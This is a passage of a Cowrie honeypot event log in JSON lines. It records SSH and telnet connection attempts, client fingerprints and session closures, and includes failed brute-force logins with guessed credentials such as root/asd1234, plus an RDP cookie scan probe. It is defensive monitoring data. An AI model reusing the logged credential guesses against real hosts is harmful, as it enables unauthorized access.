{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48636,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9af8e26708b","protocol":"telnet","message":"New connection: 192.119.13.58:48636 (10.17.0.5:23) [session: b9af8e26708b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:38.923180Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":45800,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a608cefc0c2","protocol":"ssh","message":"New connection: 193.39.208.26:45800 (10.17.0.5:22) [session: 4a608cefc0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:40.000587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:40.226161Z","src_ip":"193.39.208.26","session":"4a608cefc0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54244,"dst_ip":"10.17.0.5","dst_port":23,"session":"5df1c3ea1ff8","protocol":"telnet","message":"New connection: 192.119.13.58:54244 (10.17.0.5:23) [session: 5df1c3ea1ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:40.258846Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:40.309739Z","src_ip":"193.39.208.26","session":"4a608cefc0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zjw","password":"zjw","message":"login attempt [zjw/zjw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:40.632339Z","src_ip":"193.39.208.26","session":"4a608cefc0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58914,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f622eb8488e","protocol":"telnet","message":"New connection: 192.119.13.58:58914 (10.17.0.5:23) [session: 2f622eb8488e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:41.368341Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:41.718122Z","src_ip":"193.39.208.26","session":"4a608cefc0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35924,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6cd0dd75d4b","protocol":"telnet","message":"New connection: 192.119.13.58:35924 (10.17.0.5:23) [session: f6cd0dd75d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:42.552390Z"}
{"eventid":"cowrie.session.closed","duration":37.91696286201477,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:43.927652Z","src_ip":"192.119.13.58","session":"491032b8fd76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46666,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4f9de50fb03","protocol":"telnet","message":"New connection: 192.119.13.58:46666 (10.17.0.5:23) [session: a4f9de50fb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:45.221401Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55348,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b0dc22b11c","protocol":"telnet","message":"New connection: 192.119.13.58:55348 (10.17.0.5:23) [session: 53b0dc22b11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:47.262183Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57196,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a8e4aa4cfe","protocol":"telnet","message":"New connection: 192.119.13.58:57196 (10.17.0.5:23) [session: c0a8e4aa4cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:47.684104Z"}
{"eventid":"cowrie.session.closed","duration":41.5944766998291,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:47.749199Z","src_ip":"192.119.13.58","session":"ac531d033cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.76614189147949,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:47.764557Z","src_ip":"192.119.13.58","session":"0bcdf2cc99c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53972,"dst_ip":"159.203.135.109","dst_port":22,"session":"89d34e255608","protocol":"ssh","message":"New connection: 152.42.212.128:53972 (159.203.135.109:22) [session: 89d34e255608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:51.796430Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:51.801637Z","src_ip":"152.42.212.128","session":"89d34e255608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:51.805634Z","src_ip":"152.42.212.128","session":"89d34e255608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46840,"dst_ip":"10.17.0.5","dst_port":23,"session":"f077b6438e96","protocol":"telnet","message":"New connection: 192.119.13.58:46840 (10.17.0.5:23) [session: f077b6438e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:51.930495Z"}
{"eventid":"cowrie.session.closed","duration":43.77755808830261,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:54.962476Z","src_ip":"192.119.13.58","session":"a084c5747650","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34756,"dst_ip":"10.17.0.5","dst_port":23,"session":"569b3b3424d2","protocol":"telnet","message":"New connection: 192.119.13.58:34756 (10.17.0.5:23) [session: 569b3b3424d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:55.852993Z"}
{"eventid":"cowrie.session.closed","duration":38.26836633682251,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:57.839516Z","src_ip":"192.119.13.58","session":"5f1c177b0aba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48474,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e1aa65904e0","protocol":"telnet","message":"New connection: 192.119.13.58:48474 (10.17.0.5:23) [session: 8e1aa65904e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:59.118757Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45476,"dst_ip":"10.17.0.5","dst_port":23,"session":"e54e2a667619","protocol":"telnet","message":"New connection: 192.119.13.58:45476 (10.17.0.5:23) [session: e54e2a667619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:59.506905Z"}
{"eventid":"cowrie.session.closed","duration":37.550941467285156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:01.676367Z","src_ip":"192.119.13.58","session":"8705a959a0d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58842,"dst_ip":"10.17.0.5","dst_port":23,"session":"e38ab185d9a2","protocol":"telnet","message":"New connection: 192.119.13.58:58842 (10.17.0.5:23) [session: e38ab185d9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:01.773079Z"}
{"eventid":"cowrie.session.closed","duration":48.9898145198822,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:05.547920Z","src_ip":"192.119.13.58","session":"251cb1f4c82b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46256,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee9ced67dceb","protocol":"telnet","message":"New connection: 192.119.13.58:46256 (10.17.0.5:23) [session: ee9ced67dceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:05.674055Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46552,"dst_ip":"10.17.0.5","dst_port":23,"session":"073bad369db9","protocol":"telnet","message":"New connection: 192.119.13.58:46552 (10.17.0.5:23) [session: 073bad369db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:05.729850Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":57838,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba1b01dde490","protocol":"ssh","message":"New connection: 37.233.85.71:57838 (159.203.135.109:22) [session: ba1b01dde490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:07.412875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:07.417575Z","src_ip":"37.233.85.71","session":"ba1b01dde490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:07.530739Z","src_ip":"37.233.85.71","session":"ba1b01dde490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234","message":"login attempt [root/asd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:07.861252Z","src_ip":"37.233.85.71","session":"ba1b01dde490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58424,"dst_ip":"10.17.0.5","dst_port":23,"session":"45fe98d1232d","protocol":"telnet","message":"New connection: 192.119.13.58:58424 (10.17.0.5:23) [session: 45fe98d1232d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:08.603714Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58632,"dst_ip":"10.17.0.5","dst_port":23,"session":"f622d027bc7c","protocol":"telnet","message":"New connection: 192.119.13.58:58632 (10.17.0.5:23) [session: f622d027bc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:08.661543Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:08.972913Z","src_ip":"37.233.85.71","session":"ba1b01dde490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.97004175186157,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:13.364507Z","src_ip":"192.119.13.58","session":"cfcccf6043b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.31889891624451,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:18.241944Z","src_ip":"192.119.13.58","session":"b9af8e26708b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.82128047943115,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:19.189517Z","src_ip":"192.119.13.58","session":"2f622eb8488e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40222,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb0897da2ab0","protocol":"ssh","message":"New connection: 193.32.162.145:40222 (10.17.0.5:22) [session: fb0897da2ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:20.005094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:20.018690Z","src_ip":"193.32.162.145","session":"fb0897da2ab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:20.109046Z","src_ip":"193.32.162.145","session":"fb0897da2ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.404277324676514,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:20.663005Z","src_ip":"192.119.13.58","session":"5df1c3ea1ff8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"geyser","password":"geyser","message":"login attempt [geyser/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:20.681671Z","src_ip":"193.32.162.145","session":"fb0897da2ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:21.787036Z","src_ip":"193.32.162.145","session":"fb0897da2ab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58988,"dst_ip":"10.17.0.5","dst_port":23,"session":"08cd02cd6527","protocol":"telnet","message":"New connection: 192.119.13.58:58988 (10.17.0.5:23) [session: 08cd02cd6527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:22.112752Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57818,"dst_ip":"10.17.0.5","dst_port":23,"session":"26503324c4d1","protocol":"telnet","message":"New connection: 192.119.13.58:57818 (10.17.0.5:23) [session: 26503324c4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:22.867505Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39116,"dst_ip":"10.17.0.5","dst_port":23,"session":"80065e9d7963","protocol":"telnet","message":"New connection: 192.119.13.58:39116 (10.17.0.5:23) [session: 80065e9d7963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:24.097074Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39544,"dst_ip":"10.17.0.5","dst_port":23,"session":"9da34fc12a04","protocol":"telnet","message":"New connection: 192.119.13.58:39544 (10.17.0.5:23) [session: 9da34fc12a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:24.216886Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43050,"dst_ip":"10.17.0.5","dst_port":23,"session":"70af7ebea70c","protocol":"telnet","message":"New connection: 192.119.13.58:43050 (10.17.0.5:23) [session: 70af7ebea70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:26.066806Z"}
{"eventid":"cowrie.session.closed","duration":41.21358561515808,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:26.434840Z","src_ip":"192.119.13.58","session":"a4f9de50fb03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.671491384506226,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:28.601700Z","src_ip":"192.119.13.58","session":"f077b6438e96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.763967275619507,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:29.830610Z","src_ip":"192.119.13.58","session":"70af7ebea70c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.03360104560852,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:30.295664Z","src_ip":"192.119.13.58","session":"53b0dc22b11c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.96738243103027,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:31.651374Z","src_ip":"192.119.13.58","session":"c0a8e4aa4cfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44684,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f7ca2c6deee","protocol":"telnet","message":"New connection: 192.119.13.58:44684 (10.17.0.5:23) [session: 2f7ca2c6deee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:32.080549Z"}
{"eventid":"cowrie.session.closed","duration":35.10430288314819,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:34.222928Z","src_ip":"192.119.13.58","session":"8e1aa65904e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54932,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a1a67aa8939","protocol":"telnet","message":"New connection: 192.119.13.58:54932 (10.17.0.5:23) [session: 0a1a67aa8939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:34.619810Z"}
{"eventid":"cowrie.session.closed","duration":53.871785163879395,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:36.424039Z","src_ip":"192.119.13.58","session":"f6cd0dd75d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.10559701919556,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:36.612390Z","src_ip":"192.119.13.58","session":"e54e2a667619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35910,"dst_ip":"10.17.0.5","dst_port":23,"session":"fac7af14874c","protocol":"telnet","message":"New connection: 192.119.13.58:35910 (10.17.0.5:23) [session: fac7af14874c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:36.873747Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":53628,"dst_ip":"159.203.135.109","dst_port":22,"session":"87754e073265","protocol":"ssh","message":"New connection: 103.27.238.120:53628 (159.203.135.109:22) [session: 87754e073265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:37.641630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:31:37.646555Z","src_ip":"103.27.238.120","session":"87754e073265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm